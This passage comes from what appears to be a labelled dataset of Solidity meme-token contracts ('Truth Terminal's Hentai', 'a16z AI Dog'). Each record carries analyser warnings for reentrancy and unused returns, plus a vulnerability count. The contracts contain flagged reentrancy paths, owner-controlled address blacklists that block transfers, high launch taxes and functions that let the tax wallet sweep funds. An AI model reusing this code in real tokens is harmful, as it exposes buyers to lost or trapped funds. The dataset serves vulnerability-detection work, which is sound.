_finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a1c342c\n\t\t\t\t// reentrancy-eth | ID: 12ee302\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a1c342c\n\t\t\t\t\t// reentrancy-eth | ID: 12ee302\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 12ee302\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 12ee302\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 12ee302\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a1c342c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 12ee302\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 12ee302\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a1c342c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a1c342c\n\t\t// reentrancy-events | ID: 4ebba1d\n\t\t// reentrancy-benign | ID: 3842363\n\t\t// reentrancy-eth | ID: 12ee302\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a1c342c\n\t\t// reentrancy-events | ID: 4ebba1d\n\t\t// reentrancy-eth | ID: 12ee302\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c17dde1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c17dde1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b33e8c7): TWEET.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b33e8c7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f4d0fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f4d0fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c17dde1\n\t\t// unused-return | ID: b33e8c7\n\t\t// reentrancy-eth | ID: 1f4d0fb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c17dde1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1f4d0fb\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualUnclog() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10272.sol", "size_bytes": 21921, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HENTAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 303b570): HENTAI._taxWallet should be immutable \n\t// Recommendation for 303b570: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f72d67): HENTAI._initialBuyTax should be constant \n\t// Recommendation for 8f72d67: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8e0858): HENTAI._initialSellTax should be constant \n\t// Recommendation for d8e0858: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8904396): HENTAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 8904396: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: c556c37): HENTAI._reduceSellTaxAt should be constant \n\t// Recommendation for c556c37: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 456acf6): HENTAI._preventSwapBefore should be constant \n\t// Recommendation for 456acf6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Truth Terminal's Hentai\"; //\n\n string private constant _symbol = unicode\"$HENTAI\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b944c6): HENTAI._taxSwapThreshold should be constant \n\t// Recommendation for 7b944c6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fca0ce3): HENTAI._maxTaxSwap should be constant \n\t// Recommendation for fca0ce3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x34631AaBdF9a0eAA5087691d88E1E18F15489fAA);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 557902a): HENTAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 557902a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ba0aedc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ba0aedc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a1ff158): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a1ff158: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ba0aedc\n\t\t// reentrancy-benign | ID: a1ff158\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ba0aedc\n\t\t// reentrancy-benign | ID: a1ff158\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06a625d): HENTAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 06a625d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a1ff158\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ba0aedc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 31b9e9c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 31b9e9c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 02d14ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 02d14ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 31b9e9c\n\t\t\t\t// reentrancy-eth | ID: 02d14ac\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 31b9e9c\n\t\t\t\t\t// reentrancy-eth | ID: 02d14ac\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 02d14ac\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 02d14ac\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 02d14ac\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 31b9e9c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 02d14ac\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 02d14ac\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 31b9e9c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 31b9e9c\n\t\t// reentrancy-events | ID: ba0aedc\n\t\t// reentrancy-benign | ID: a1ff158\n\t\t// reentrancy-eth | ID: 02d14ac\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 31b9e9c\n\t\t// reentrancy-events | ID: ba0aedc\n\t\t// reentrancy-eth | ID: 02d14ac\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ec193e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ec193e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5d302be): HENTAI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5d302be: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7fcdd7d): HENTAI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7fcdd7d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a920c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a920c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4ec193e\n\t\t// reentrancy-eth | ID: 9a920c9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4ec193e\n\t\t// unused-return | ID: 5d302be\n\t\t// reentrancy-eth | ID: 9a920c9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4ec193e\n\t\t// unused-return | ID: 7fcdd7d\n\t\t// reentrancy-eth | ID: 9a920c9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4ec193e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9a920c9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10273.sol", "size_bytes": 19899, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TILLY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d95d6ee): TILLY._taxWallet should be immutable \n\t// Recommendation for d95d6ee: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80edca6): TILLY._initialBuyTax should be constant \n\t// Recommendation for 80edca6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01f964e): TILLY._initialSellTax should be constant \n\t// Recommendation for 01f964e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8422c88): TILLY._finalBuyTax should be constant \n\t// Recommendation for 8422c88: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aed78c3): TILLY._finalSellTax should be constant \n\t// Recommendation for aed78c3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f6ce47b): TILLY._reduceBuyTaxAt should be constant \n\t// Recommendation for f6ce47b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: f55558b): TILLY._reduceSellTaxAt should be constant \n\t// Recommendation for f55558b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4df7e83): TILLY._preventSwapBefore should be constant \n\t// Recommendation for 4df7e83: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"a16z AI Dog\";\n\n string private constant _symbol = unicode\"TILLY\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3284a9e): TILLY._taxSwapThreshold should be constant \n\t// Recommendation for 3284a9e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6258b41): TILLY._maxTaxSwap should be constant \n\t// Recommendation for 6258b41: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0cdf676): TILLY.uniswapV2Router should be immutable \n\t// Recommendation for 0cdf676: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 45f710a): TILLY.uniswapV2Pair should be immutable \n\t// Recommendation for 45f710a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 766e817): TILLY.sellsPerBlock should be constant \n\t// Recommendation for 766e817: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26beee5): TILLY.buysFirstBlock should be constant \n\t// Recommendation for 26beee5: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n 